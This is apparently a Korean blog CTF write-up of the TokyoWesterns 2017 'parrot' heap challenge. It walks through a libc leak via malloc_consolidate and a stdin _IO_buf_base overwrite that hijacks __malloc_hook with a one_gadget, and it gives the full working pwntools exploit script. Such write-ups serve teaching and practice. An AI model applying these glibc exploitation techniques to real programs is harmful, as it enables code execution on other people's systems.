문제를 ida로 디스어셈을 봤을 때 구조는 단순하다. malloc을 해주고 free를 해주게 된다.
이 문제를 익스 플로잇하는 방법은 간단하다.
1. fastbin 크기로 malloc (순서 조심) - libc leak
2. stdin _IO_buf_base 수정
3. 다시 stdin _IO_buf_base 수정
4. one_gadget 또는 system 주소 입력
첫번째로 fastbin 크기로 작은것 1개 그것보다 큰 크기로 1개를 할당한뒤 다시 한번 할당을 하면 libc leak이 이루어지게 되는데 그 이유는 malloc_consolidate라는 함수 때문이다.
코드로 나타내면 이렇게 되는데
### libc leak
malloc(24,'a' *24)
malloc(50, 'a')
malloc(200, 'a') # malloc_consolidate() -> libc addr
malloc(16, 'a' * 8)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = libc - 88 - 16 - l.sym['__malloc_hook']
log.success('libc addr : ' + hex(libc))
log.info('system : ' + hex(libc + l.sym['system']))
log.info('__malloc_hook : ' + hex(libc + l.sym['__malloc_hook']))
log.info('main_arena : ' + hex(libc + l.sym['__malloc_hook'] + 16))
#############
이 원리를 이해하려면 malloc_consolidate의 작동 원리를 알아야하는데 이것에 관해서 간단히 설명을 하자면 fastbin에 있는 청크들 중 병합할 수 있는것은 병합을 해버리고, 안된다면 unsorted bin에 청크를 넣어주게 된다.
이 과정이 크기가 작은 청크부터 진행이 되게 되는데
1. 먼저 할당한 작은 청크를 병합할 수 있는지 검사. 하지만 fastbin에 들어가는 크기에서는 free를 해도 prev_inuse bit가 초기화가 되지 않으므로 병합을 못한다.
2. 먼저 할당한 청크는 unsorted bin에 들어가게 되고 fd와 bk 는 main_arena + 88의 주소가 쓰인다.
여기서 2번째 청크는 필요없다고 생각할 수 있는데 2번째 청크는 크기가 첫번째보다 커서 나중에 malloc_consolidate의 대상이 되고, 첫번째 청크가 top chunk와 인접하지 않도록 해주어서 병합를 막게 된다.
이런 방식으로 libc leak을 할 수 있고, 다음은 stdin의 _IO_buf_base를 수정해주어야 한다. 그 방법은
buf = malloc(size);
puts("Buffer:");
read(0, buf, size);
*(buf + size - 1) = 0;
여기서 큰 크기로 할당을 하게 되면 buf가 NULL 즉 0이 된다. 그런뒤에 buf + size -1의 위치에 0을 삽입하는데 그래서 size에 _IO_buf_base + 1의 주소를 주면 하위 1바이트를 0으로 덮을 수 있게 된다.
이 파일 구조체에 대해 잘 모른다면
2019/09/12 - [FSOP] - fopen함수 분석
이 글을 보면 이해가 될 수도 있다.
이렇게 _IO_buf_base의 하위 1바이트가 0으로 덮이게 되면서 _IO_buf_base와 _IO_buf_end 사이의 공간이 남게 되면서 버퍼링을 사용한다고 인식을 하게 되어서 _IO_buf_base부터 버퍼링을 사용할 것이다. 그래서 _IO_buf_base하위 1바이트를 0으로 덮는 부분의 코드는
## stdin -> _IO_buf_base overwrite 1byte
malloc(libc + l.sym['_IO_2_1_stdin_'] + 8 * 7 + 1, 'a')
##########################
이렇게 된다. 다음에 입력을 하게 되면 _IO_buf_base가 가리키는 주소부터 입력을 받으므로 그렇다면 다시 한번 _IO_buf_base와 _IO_buf_end를 덮을 수 있으므로 __malloc_hook으로 덮게 되면 익스플로잇을 할 수 있다.
#### overwrite _IO_buf_base & _IO_buf_end
payload = ''
payload += '1'.ljust(0x18, '\x00')
payload += p64(libc + l.sym['__malloc_hook'])
payload += p64(libc + l.sym['__malloc_hook'] + 0x40)
payload += p64(0) * 8
malloc(payload, '')
##########################
이렇게 _IO_buf_base와 _IO_buf_end를 덮었다면 예전 버퍼 공간을 다 채워버려야하는데 그 이유는 예전 버퍼 공간을 다 채워야지(_IO_read_ptr과 _IO_read_end가 같게 될때) _IO_buf_base와 _IO_buf_end로 갱신을 해주기 때문이다.
그래서 예전 버퍼 공간을 다 채워버리는 코드는
###flush old buffer
for i in range(94):
p.sendafter('Buffer:\n', '\n')
##########################
이렇게 된다. 그 다음에 입력을 받게 되면 __malloc_hook을 덮게 되므로 one_gadget이나 system주소를 입력하면 된다.
#### __malloc_hook -> one_gadget or system
p.sendline(p64(libc + 0xf02a4))
마지막으로 위의 코드들을 종합하여 전체 코드를 보자면
from pwn import *
def malloc(size, content):
p.sendlineafter('Size:\n', str(size))
p.sendafter('Buffer:\n', str(content))
p = process('./tw2017parrot')
e = ELF('./tw2017parrot')
l = e.libc
context.log_level = "debug"
pause()
### libc leak
malloc(24,'a' *24)
malloc(50, 'a')
malloc(200, 'a') # malloc_consolidate() -> libc addr
malloc(16, 'a' * 8)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = libc - 88 - 16 - l.sym['__malloc_hook']
log.success('libc addr : ' + hex(libc))
log.info('system : ' + hex(libc + l.sym['system']))
log.info('__malloc_hook : ' + hex(libc + l.sym['__malloc_hook']))
log.info('main_arena : ' + hex(libc + l.sym['__malloc_hook'] + 16))
#############
## stdin -> _IO_buf_base overwrite 1byte
malloc(libc + l.sym['_IO_2_1_stdin_'] + 8 * 7 + 1, 'a')
##########################
#### overwrite _IO_buf_base & _IO_buf_end
payload = ''
payload += '1'.ljust(0x18, '\x00')
payload += p64(libc + l.sym['__malloc_hook'])
payload += p64(libc + l.sym['__malloc_hook'] + 0x40)
payload += p64(0) * 8
malloc(payload, '')
##########################
###flush old buffer
for i in range(94):
p.sendafter('Buffer:\n', '\n')
##########################
#### __malloc_hook -> one_gadget or system
p.sendline(p64(libc + 0xf02a4))
p.interactive()
이렇게 된다.
(grin)
'CTF write-up' 카테고리의 다른 글
[Hitcon 2016] Secret Holder (0) | 2020.01.25 |
---|---|
[wargame.0x0.site] babyheap 라이트업 (0) | 2019.10.12 |
[hackingcamp2019]bonus (0) | 2019.08.25 |
[hackingcamp2019] (0) | 2019.08.25 |
[hackingcamp2019]camp_note (0) | 2019.08.25 |